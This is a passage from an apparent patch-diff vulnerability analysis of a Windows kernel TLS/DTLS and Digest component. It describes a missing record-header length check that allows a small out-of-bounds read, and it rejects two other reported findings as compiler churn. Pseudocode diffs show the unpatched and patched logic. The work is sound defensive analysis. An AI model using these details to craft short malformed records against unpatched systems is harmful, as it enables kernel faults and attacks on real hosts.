&lt;li&gt;&lt;code&gt;cmp &amp;lt;record-length&amp;gt;, 0Dh&lt;/code&gt; / &lt;code&gt;jb &amp;lt;error&amp;gt;&lt;/code&gt; before the DTLS header reads,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;returning &lt;code&gt;STATUS_INVALID_TOKEN&lt;/code&gt; (&lt;code&gt;0x80090318&lt;/code&gt;) for a record too short to hold the header. The same two constants are added at every record-parse entry point listed above.&lt;/p&gt;
&lt;p&gt;This is an out-of-bounds &lt;strong&gt;read&lt;/strong&gt; (the header bytes feed a record-length computation that is then re-validated against &lt;code&gt;cbBuffer&lt;/code&gt;), not a write. Impact is a kernel out-of-bounds read of a few bytes adjacent to the record buffer; the leaked bytes influence a length that is subsequently bounds-checked, so the primary risk is a read fault / limited information influence rather than a controlled disclosure. Reachability of a true out-of-bounds access depends on the negotiated cipher's &lt;code&gt;cipher_overhead&lt;/code&gt; being smaller than the header length; the fix adds the header-length floor unconditionally across all entry points.&lt;/p&gt;
&lt;h3&gt;Finding #2 — Digest kernel helper element loop (NO SECURITY-RELEVANT CHANGE)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; None (was reported High)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Compiler refactoring of a semantically-equivalent condition&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function:&lt;/strong&gt; &lt;code&gt;DigestKernelHTTPHelper&lt;/code&gt; @ &lt;code&gt;0x1C0006F00&lt;/code&gt; (unpatched) ↔ &lt;code&gt;0x14000956C&lt;/code&gt; (patched)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What actually happens.&lt;/strong&gt; The function copies selected entries from a &lt;strong&gt;fixed internal 24-entry table&lt;/strong&gt; at &lt;code&gt;[arg1+0xA2]&lt;/code&gt; into a local scratch structure. The loop counter &lt;code&gt;edx&lt;/code&gt; is initialized to &lt;code&gt;0&lt;/code&gt; (from the zeroed &lt;code&gt;r12d&lt;/code&gt;) and iterated while &lt;code&gt;edx &amp;lt; 0x18&lt;/code&gt; (24) — a compile-time constant, not a value taken from any token. &lt;code&gt;edx&lt;/code&gt; is the &lt;strong&gt;loop index&lt;/strong&gt;, not an element "type" from attacker input. Both builds copy an entry only when the index is &lt;strong&gt;not&lt;/strong&gt; one of &lt;code&gt;{7, 8, 10}&lt;/code&gt; and the entry's leading &lt;code&gt;word&lt;/code&gt; (&lt;code&gt;[rcx-2]&lt;/code&gt;) is non-zero:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Unpatched expresses the skip set as &lt;code&gt;(edx-7) &amp;amp; 0xFFFFFFFC == 0&lt;/code&gt; (i.e. &lt;code&gt;edx ∈ {7,8,9,10}&lt;/code&gt;) combined with &lt;code&gt;edx != 9&lt;/code&gt;, selecting exactly &lt;code&gt;{7,8,10}&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Patched expresses the identical skip set as &lt;code&gt;edx == 8&lt;/code&gt;, &lt;code&gt;edx == 10&lt;/code&gt;, &lt;code&gt;edx == 7&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These cover the &lt;strong&gt;identical value set&lt;/strong&gt; &lt;code&gt;{7,8,10}&lt;/code&gt;; no index is newly rejected or accepted, and the copy targets/strides/null-check are unchanged. The only other differences are that the patched build &lt;strong&gt;inlined&lt;/strong&gt; the sequence-number helper &lt;code&gt;DigestKernelGetNextSeqNumber&lt;/code&gt; (@ &lt;code&gt;0x1C0006E90&lt;/code&gt;), whose body performs the same fast-mutex-protected increment of the counter at &lt;code&gt;[ctx+0x54]&lt;/code&gt;, and register reallocation (&lt;code&gt;rsi&lt;/code&gt;/&lt;code&gt;rdi&lt;/code&gt; swapped). No behavioral change, no added/removed validation, no reachable primitive.&lt;/p&gt;
&lt;h3&gt;Finding #3 — &lt;code&gt;strcat_s&lt;/code&gt; bounded concatenation (NO SECURITY-RELEVANT CHANGE)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; None (was reported Medium)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Dead-code removal / compiler churn&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function:&lt;/strong&gt; &lt;code&gt;strcat_s&lt;/code&gt; @ &lt;code&gt;0x1C0003480&lt;/code&gt; (unpatched) ↔ &lt;code&gt;0x140005768&lt;/code&gt; (patched)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What actually happens.&lt;/strong&gt; This is a standard bounded string-concatenation routine (&lt;code&gt;char *dst, rsize_t SizeInBytes, const char *Src&lt;/code&gt;). The copy loop writes one byte, returns success on the source NUL, otherwise decrements &lt;code&gt;SizeInBytes&lt;/code&gt; and, at &lt;code&gt;0&lt;/code&gt;, returns error &lt;code&gt;34&lt;/code&gt; (&lt;code&gt;ERANGE&lt;/code&gt;) and resets &lt;code&gt;*dst = 0&lt;/code&gt;. It performs exactly &lt;code&gt;SizeInBytes - strlen(dst)&lt;/code&gt; writes, all in bounds. There is &lt;strong&gt;no off-by-one in either build.&lt;/strong&gt; The unpatched and patched decompilations are logically identical; the only instruction-level delta is removal of dead instructions (&lt;code&gt;mov rax,rdx; test rax,rax&lt;/code&gt; in the scan loop and an unreachable &lt;code&gt;test rdx,rdx; jnz&lt;/code&gt; in the copy loop where &lt;code&gt;rdx&lt;/code&gt; is provably &lt;code&gt;0&lt;/code&gt;). The reported "&lt;code&gt;else if (!arg2) break&lt;/code&gt;" one-iteration-late break does not exist; it is a misreading of that dead pair. Every caller supplies a compile-time constant size (&lt;code&gt;0x3001&lt;/code&gt; / &lt;code&gt;0x1001&lt;/code&gt;), so the bound is not attacker-controlled.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Finding #1 — TLS/DTLS record header length gate&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED — reads fixed header offsets guarded only by cipher-overhead&lt;/span&gt;
&lt;span class="n"&gt;overhead&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x44&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cbBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;overhead&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_TOKEN&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// only length check&lt;/span&gt;
&lt;span class="n"&gt;ver_hi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rec&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;                                        &lt;/span&gt;&lt;span class="c1"&gt;// read offset 1&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_dtls&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ver_hi&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rec&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0xB&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rec&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0xC&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// reads offsets 11,12 — NO &amp;gt;=13 guard&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rec&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rec&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// reads offsets 3,4  — NO &amp;gt;=5 guard&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cbBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x44&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_TOKEN&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// re-check AFTER the reads&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED — explicit minimum record length before the header reads&lt;/span&gt;
&lt;span class="n"&gt;overhead&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x44&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cbBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;overhead&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_TOKEN&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cbBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_TOKEN&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// NEW: TLS header floor&lt;/span&gt;
&lt;span class="n"&gt;ver_hi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rec&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_dtls&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cbBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_TOKEN&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// NEW: DTLS header floor (13)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rec&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0xB&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rec&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0xC&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rec&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rec&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cbBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x44&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_TOKEN&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding #2 — &lt;code&gt;DigestKernelHTTPHelper&lt;/code&gt; element loop (both builds identical in effect)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED — skip set {7,8,10} via range test + edx!=9&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// 0x18 is a constant bound&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// edx in {7,8,10} -&amp;gt; skip&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;w0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;out_a&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;w0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out_b&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;w1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out_c&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;u64&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// PATCHED — identical skip set {7,8,10} via explicit compares&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// same set {7,8,10}&lt;/span&gt;
